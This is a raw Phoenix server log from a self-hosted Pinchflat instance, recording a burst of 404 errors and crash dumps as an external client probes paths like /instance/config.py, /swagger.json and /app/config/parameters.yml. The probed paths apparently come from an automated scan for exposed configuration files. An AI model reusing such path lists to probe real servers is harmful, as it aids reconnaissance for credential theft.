:plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {" (truncated) 21:08:45.464 [info] GET /webhooks/settings.json 21:08:45.464 [debug] QUERY OK source="settings" db=0.1ms idle=52.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.464 [debug] QUERY OK source="settings" db=0.0ms idle=48.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.464 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.464 [error] #PID<0.3456.0> running PinchflatWeb.Endpoint (connection #PID<0.3455.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /webhooks/settings.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /webhooks/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3455.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webhooks/settings.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50184}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3456.0>, params: %{}, path_info: ["webhooks", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/webhooks/settings.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-0dX9g7ikfsAAHcC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3455.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webhooks/settings.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50184}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /webhooks/settings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3455.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/webhooks/settings.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50184}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3456.0>, params: %{}, path_info: ["webhooks", "settings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0 (truncated) 21:08:45.524 [info] GET /instance/config.py 21:08:45.524 [debug] QUERY OK source="settings" db=0.1ms idle=107.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.524 [debug] QUERY OK source="settings" db=0.1ms idle=67.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.525 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.525 [error] #PID<0.3458.0> running PinchflatWeb.Endpoint (connection #PID<0.3457.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /instance/config.py ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /instance/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3457.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/instance/config.py", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50190}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3458.0>, params: %{}, path_info: ["instance", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/instance/config.py", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-0rttqdQRSEAAHeC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3457.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/instance/config.py", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50190}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /instance/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3457.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/instance/config.py", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50190}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3458.0>, params: %{}, path_info: ["instance", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, (truncated) 21:08:45.615 [info] GET /swagger.json 21:08:45.615 [debug] QUERY OK source="settings" db=0.1ms idle=157.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.616 [debug] QUERY OK source="settings" db=0.1ms idle=151.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.616 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.616 [error] #PID<0.3460.0> running PinchflatWeb.Endpoint (connection #PID<0.3459.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /swagger.json ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /swagger (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3459.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/swagger.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50196}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3460.0>, params: %{}, path_info: ["swagger"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/swagger.json", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-1BZxIZfg3cAAHgC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3459.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/swagger.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50196}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /swagger (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3459.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/swagger.json", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50196}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3460.0>, params: %{}, path_info: ["swagger"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36, Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarde (truncated) 21:08:45.667 [info] GET /app/config/parameters.yml 21:08:45.668 [debug] QUERY OK source="settings" db=0.1ms idle=203.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.668 [debug] QUERY OK source="settings" db=0.0ms idle=143.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 21:08:45.668 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 21:08:45.668 [error] #PID<0.3462.0> running PinchflatWeb.Endpoint (connection #PID<0.3461.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: GET /app/config/parameters.yml ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/config/parameters (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3461.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/config/parameters.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50202}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "GET", owner: #PID<0.3462.0>, params: %{}, path_info: ["app", "config", "parameters"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router => PinchflatWeb.Router, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"}, {"x-forwarded-for", "185.177.72.50"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "185.177.72.50"} ], request_path: "/app/config/parameters.yml", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDb-1N6cssYjnMAAHiC"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3461.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/config/parameters.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50202}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", "host" => "pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "x-forwarded-for" => "185.177.72.50", "x-forwarded-proto" => "https", "x-real-ip" => "185.177.72.50" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", host_info: :undefined, streamid: 1, has_body: false }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /app/config/parameters (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3461.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/app/config/parameters.yml", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 50202}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "connection" => "close", 